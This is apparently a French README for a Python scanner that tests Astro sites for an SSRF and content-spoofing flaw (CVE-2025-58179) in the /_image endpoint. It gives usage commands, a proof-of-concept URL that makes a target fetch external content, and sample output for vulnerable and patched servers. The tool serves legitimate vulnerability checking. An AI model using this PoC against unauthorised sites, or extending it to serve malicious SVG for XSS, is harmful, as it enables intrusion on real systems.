
Script Python pour vérifier les vulnérabilités SSRF et d'usurpation de contenu (CVE-2025-58179) dans le point de terminaison `/_image` d'Astro, avec génération automatisée d'URL PoC et vérification des réponses HTTP.
CVE-2025-58179-Check est un script Python simple pour vérifier la vulnérabilité SSRF (Server-Side Request Forgery) / Content Spoofing sur le point de terminaison /_image du framework Astro.
Cette vulnérabilité est suivie sous les références GHSA-qpr4-c339-7vq8 et CVE-2025-58179.
Cette vulnérabilité affecte les sites Astro utilisant l'adaptateur @astrojs/cloudflare avec la configuration output: 'server'. Le point de terminaison /_image, censé optimiser les images, ne valide pas correctement le paramètre href.
Cela permet à un attaquant de forcer le serveur à récupérer et à servir du contenu depuis n'importe quel domaine externe non autorisé. L'impact peut être une SSRF, et si ce contenu externe est un fichier malveillant (comme un SVG contenant un script), cela peut conduire à une Cross-Site Scripting (XSS).
Ce script automatise le processus de test pour déterminer si un site est vulnérable à ce problème.
Statut 200 avec Content-Type: image/*).requests (uniquement si vous utilisez la fonctionnalité de vérification)Vous pouvez installer requests avec pip :
pip install requests
CVE-2025-58179-Check.py.chmod +x CVE-2025-58179-Check.pyCette option affiche simplement l'URL PoC encodée. Utile si vous souhaitez tester manuellement dans un navigateur ou avec d'autres outils.
Commande :
python CVE-2025-58179-Check.py -u <URL_TARGET> -i <URL_GAMBAR_EKSTERNAL>
Exemple :
python CVE-2025-58179-Check.py -u [https://target-astro-site.com](https://target-astro-site.com) -i [https://example.com/image.jpg](https://example.com/image.jpg)
Output :
[+] Generated URL:
[https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg](https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg)
Cette option génère l'URL et envoie immédiatement une requête HTTP GET pour vérifier la réponse du serveur.
Commande :
python CVE-2025-58179-Check.py -u <URL_TARGET> -i <URL_GAMBAR_EKSTERNAL> -r
Exemple :
python CVE-2025-58179-Check.py -u [https://target-astro-site.com](https://target-astro-site.com) -i [https://example.com/image.jpg](https://example.com/image.jpg) --request
Si le serveur renvoie un code de statut 200 et que le type de contenu est une image, cela indique que le serveur a récupéré et servi un contenu externe.
[+] Generated URL:
[https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg](https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg)
[+] Sending HTTP request...
[+] Status Code: 200
[+] Content Type: image/jpeg
[+] Server returned image content - Potential vulnerability detected!
Un serveur patché ou correctement configuré refusera les requêtes vers des domaines externes non autorisés, généralement en renvoyant un statut 4xx.
[+] Generated URL:
[https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg](https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg)
[+] Sending HTTP request...
[+] Status Code: 400
[+] Content Type: text/plain;charset=UTF-8
[+] Client error - Resource might not be accessible
[!WARNING] AVERTISSEMENT
- Ce script est conçu à des fins éducatives et de test de sécurité légitimes.
- L'utilisateur est entièrement responsable de ses actions. N'utilisez pas ce script sur des systèmes sans autorisation.